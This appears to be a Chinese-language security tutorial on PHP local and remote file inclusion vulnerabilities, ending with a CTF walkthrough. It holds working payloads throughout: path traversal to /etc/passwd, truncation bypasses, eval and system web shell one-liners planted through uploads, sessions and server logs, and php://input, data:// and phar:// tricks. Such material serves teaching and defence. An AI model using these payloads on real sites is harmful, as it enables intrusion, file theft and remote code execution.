漏洞简介

包含:程序开发人员通常会把可重复使用的函数写到单个文件中,在使用某些函数时,直接调用此文件,而无需再次编写,这种调用的过程被称为包含

文件包含漏洞:文件包含函数的参数没有经过过滤或严格定义,并且参数可以被用户控制,这样就可能包含非预期文件。如果文件中存在恶意代码,无论是什么类型,都会被解析并执行

PHP中文件包含函数有以下四种:require()、require_once()、include()、include_once()

(1)require找不到被包含的文件时会产生致命错误(E_COMPILE_ERROR),并停止脚本;
(2)require_once和require类似,唯一区别是如果该文件中的代码已经被包含,则不会再次包含。
(3)include找不到被包含的文件时只会产生警告(E_WARNING),脚本将继续执行。
(4)include_once和include类似,唯一区别是如果该文件中的代码已经被包含,则不会再次包含。

本地文件包含(LFI)

1.无限制本地文件包含漏洞

无限制本地文件包含漏洞是指代码中没有为包含文件指定特定的前缀或者.php、.html等扩展名,因此攻击者可以利用文件包含漏洞读取操作系统中的其他文件,获取敏感信息,或者执行其他文件中的代码。

http://127.0.0.1/LFI.php?filename=../../../../../../../etc/passwd
http://127.0.0.1/LFI.php?filename=test.txt

2.有限制的本地文件包含漏洞

有限制的本地文件包含漏洞是指代码中为包含文件指定了特定的前缀或者扩展名,攻击者需要绕过前缀或者扩展名过滤,才能利用文件包含漏洞读取操作系统中的其他文件,获取敏感信息。

常见的有限制本地文件包含过滤的方式主要有%00截断、路径长度截断、点号截断等等

(1)%00截断

  • 漏洞利用条件:magic_quotes_gpc=off;PHP版本低于5.3.4。
  • %00会被认为是结束符,后面的数据会被直接忽略,导致扩展名截断
<?php
$filename=$_GET['filename'];
include($filename . ".html");
?>

payload:http://127.0.0.1/FI.php?filename=../../../../../../../etc/passwd%00

(2)路径长度截断

  • 漏洞利用条件:Windows下目录的最大路径长度为256B;Linux下目录的最大路径长度为4096B。
  • 操作系统存在最大路径长度限制,可以输入超过最大路径长度的目录,这样系统就会将后面的路径丢弃,导致扩展名截断
<?php
$filename=$_GET['filename'];
include($filename . ".html");
?>

payload:http://127.0.0.1/FI.php?filename=test.txt/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././

(3)点号截断

  • 漏洞利用条件:Windows系统
  • 点号截断适用于Windows系统,当点号的长度大于256B时,就可造成扩展名截断
<?php
$filename=$_GET['filename'];
include($filename . ".html");
?>

payload:http://127.0.0.1/FI.php?filename=test.txt....................................................................................................................................................................................................................................................................

3.本地包含配合文件上传漏洞

/uploadfile/echo.jpg:
<?fputs(open("shell.php","w"),"<?php eval($_POST[xxser]);?>")?>
访问:
http://127.0.0.1/index.php?filename=./uploadfile/echo.jpg
将会在index.php所在的目录下生成shell.php。

远程文件包含漏洞(RFI)

远程包含功能需要确定PHP是否已经开启远程包含选项(PHP默认关闭远程包含功能),即我们要开启使得allow_url_include=on,allow_url_fopen=on,远程文件包含和本地文件包含没有过多的区别,我们将文件名换成远程地址即可

1.无限制远程文件包含

在正常情况下访问远程服务URL,包含在php.txt中的函数不会被执行,但是通过远程文件包含漏洞,可以将txt文件当作php文件进行执行

http://127.0.0.1/index.php?filename=http://192.168.91.133/RFI/php.txt

2.有限制远程文件包含

有限制远程文件包含漏洞是指代码中存在特定的前缀或者.php、.html等扩展名,攻击者需要绕过前缀或者扩展名过滤,才能执行远程URL中的恶意代码。

通常有限制远程文件包含绕过可以通过问好、井号、空格三种方式来绕过

(1)问号绕过

可以在问号后面添加HTML字符串,问号后面的扩展名.html会被当作查询,从而绕过扩展名过滤

http://127.0.0.1/index.php?filename=http://192.168.91.133/RFI/php.txt?

(2)井号绕过

可以在井号(#)后面添加HTML字符串,#号会截断后面的扩展名,从而绕过扩展名过滤,井号的URL编码为%23

http://127.0.0.1/index.php?filename=http://192.168.91.133/RFI/php.txt%23

(3)空格绕过

http://127.0.0.1/index.php?filename=http://192.168.91.133/FI/php.txt%20

并不是所有的绕过方式都可以,具体情况还得根据实际进行分析

Session文件包含

当可以获取session文件的路径并且session文件的内容可控时,就可以通过包含session文件进行攻击

(1)首先我们要获取session的存储位置

通过phpinfo的信息获取session的存储位置,phpinfo中的session.save_path保存的是session的存储位置

img

我们还可以猜测默认的session存储位置进行尝试,通常Linux中session默认存储在/var/lib/php/session目录下,Windows通常保存在C:\WINDOWS\Temp

(2)我们写入session一句话即可,如下图所示

img

之后再利用文件包含漏洞即可利用

日志文件包含

服务器中的中间件、SSH等服务都有记录日志的功能,如果开启了记录日志功能,用户访问的日志就会存储到不同服务的相关文件中

利用步骤:

1)将恶意代码写入日志文件:
http://127.0.0.1/fi/<?php @eval($_POST[123]);?>
或者 <?php system($_GET['cmd']);?> (防止@等特殊符号被编译)
2)通过Burpsuite抓包的方式修改浏览器URL编码后的数据包,这样就可以将恶意代码写入日志文件中。
3)文件包含日志文件
http://127.0.0.1/fi/index.php?filename=../../../../../../../../../var/log/httpd/access_log
通过post发送123=phpinfo(),即可包含成功。

img

img

php伪协议

PHP带有很多内置URL风格的封装协议,这类协议与fopen()、copy()、file_exit()、file_size()等文件系统函数所提供的功能类似

常见的PHP伪协议如下:
file://,访问本地文件系统。
http://,访问http(s)网址。
ftp://,访问ftp(s) URL。
php://,访问各个输入输出流。
zlib://,处理压缩流。
data://,读取数据。
glob://,查找匹配的文件路径模式。
phar://,PHP归档。
ssh2://,Secure Shell 2。
rar://,RAR数据压缩。
ogg://,处理音频流。
expect://,处理交互式的流。

1、php://伪协议

(1)php://filter

读取本地文件:
?filename=php://filter/read=convert.base64-encode/resource=xxx.php
?filename=php://filter/convert.base64-encode/resource=xxx.php

(2)php://input

php://input可以访问请求的原始数据的只读流,即可以直接读取POST上没有经过解析的原始数据

1 读取POST数据:<?php echo file_get_contents("php://input");?>
2 写入木马:需要开启allow_url_include
?filename=php://input
POST数据:<?php fputs(open("shell.php","w"),"<?php eval($_POST[xxser]);?>")?>
3 执行命令:需要开启allow_url_include
?filename=php://input
POST数据:<?php system('whoami');?>

2、file://伪协议

file://伪协议可以访问本地文件系统,读取文件的内容

?filename=file:///etc/passwd

3、data://伪协议

从php5.2.0起,数据流封装器开始有效,主要用于数据流的读取。如果传入的数据是php代码,就会执行任意代码。
利用data://时,php配置文件需要开启allow_url_include 和allow_url_fopen。

代码执行:
http://127.0.0.1/cmd.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

4、phar://伪协议

phar://是用来进行解压的伪协议,phar://参数中的文件不管是什么扩展名,都会被当作压缩包。
利用phar://时,PHP的版本应高于5.3.0,PHP配置文件需开启allow_url_include 和allow_url_fopen。

通常phar://伪协议用在有上传功能的网站中,写一个木马文件shell.php,然后用zip://伪协议压缩为shell.zip(不能用rar://伪协议压缩),再将扩展名改为.png等,上传到网站。
?filename=phar://shell.png/shell.php
phar://会把shell.png当作zip压缩包来解压,并且访问解压后的shell.php文件。

5、zip://伪协议

利用zip://时,PHP的版本应高于5.3.0,PHP配置文件需开启allow_url_include 和allow_url_fopen。

?filename=zip://[压缩文件]#[压缩文件内的文件名]
?filename=zip://shell.png%23shell.php
zip://会把shell.png当作zip压缩包来接呀,并且访问解压后的shell.php文件。

CTF实例

我们以nssctf上的easy_include进行演示,我们这里可以发现,php、data伪协议不能使用,这个时候我们可以试试日志文件包含

image-20240817155358295

我们首先查看一下中间件是什么

image-20240817155730448

很明显是ngnix的中间件,我们去查看一下ngnix的日志文件保存在哪里,我们可以发现在/var/log/nginx/access.log下,我们尝试去访问一下,发现可以访问到日志信息

image-20240817160038435

抓包,写入对应的php执行脚本

image-20240817160801669

成功解出